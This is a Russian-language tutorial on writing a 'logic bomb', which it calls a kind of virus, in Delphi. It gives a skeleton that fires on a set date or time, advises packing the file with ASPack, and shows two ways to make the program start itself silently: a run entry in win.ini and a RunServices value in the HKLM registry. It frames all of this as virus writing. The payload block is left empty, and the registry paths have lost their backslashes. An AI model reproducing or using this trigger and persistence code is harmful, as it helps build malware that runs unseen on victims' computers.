Привет читатель. Добро пожаловать на урок по изготовлению логической бомбы. Логическая бомба это (если я не ошибаюсь) то это разновидность вируса. Её принцип прост. Она запускает определённый программный код при выполнении определённых условий. Часто таким условием бывает время или дата.
И так приступим к программному коду:
0) Запусти Delphi.
1) Создай новый проект.
2) Удали Form из проекта. (project=>remove from project=>выбери форму=>OK=>появится окно, нужно согласиться=>всё! Форма удалена)
3) Откроем место для написания кода (project=>view source=>
Program log_bomb;//Название может быть любым
Uses windows; //Подключаемые модули, чем меньше , тем лучше.
Begin
//Если дата 11.11.1111 то срабатывает код написанный
If datetostr(date)=’11.11.1111’ then
Begin // Между begin
// Сам код, выполняющийся при выполнении условия
End;
Exit;
End.
Вот и всё.
А теперь несколько советов.
1) Всегда в конце лучше писать EXIT; Не пойман не уничтожен – закон вирусов.
2) Если надо чтобы программа срабатывала в определённое время. То надо писать следущее:
If timetostr(time)=’22:22’ then
Begin
// Код
End;
3) Иногда, когда подключаешь много модулей прога приобретает «Царский размер»
В этих случаях необходимо пользоваться ASPACK'ом. Он уменьшит размер примерно в два раза.
4) Всегда проверяй Автозагрузку. Может что-то подобное уже работает у тебя!!!!
Теперь я расскажу как сделать это двумя способами: через файл win.ini и через реестр. Приступим.
1) способ Через Win.ini
Для этого надо знать как работать с INI файлами.
Program INIFI;
Uses inifiles;
//Обьявляем переменную для работы с ini файлами
Var reg: tinifile;
Begin
//Выделяем память для переменной, открываем файл
reg:=tinifile.create('win.ini');
//Непосредственно прописываемся
reg.writestring('windows','run',application.ExeName);
//Освобождаем память
reg.free;
exit;
end.
Остановимся на этой строчке подробнее:
reg.writestring('windows','run',application.ExeName);
//Переменная reg запись строки типа string, куда указывается в скобках
reg.writestring()
Win.ini находится ВСЕГДА по адресу:
Имя_диска:Папка_виндыwin.ini
2) Способ Через реестр.
Очень похоже на способ 1), только работаем с реестром и другими переменными. Итак. Приступим.
Program regis;
Uses inifiles;
Var load: treginifile;
Begin
load:=treginifile.create;
//Выбираем ветвь реестра
load.RootKey:=hkey_local_machine;
//Выбираем ключ
load.OpenKey('softwaremicrosoftwindowscurrentversion',false);
//Прописываемся
load.WriteString('runServices','ssi',application.exename);
Load.free;
exit;
end.
Всё просто. Рассмотрим основные моменты:
Переменная.Rootkey:={Название ветви реестра}
Переменная.openkey(название ключа)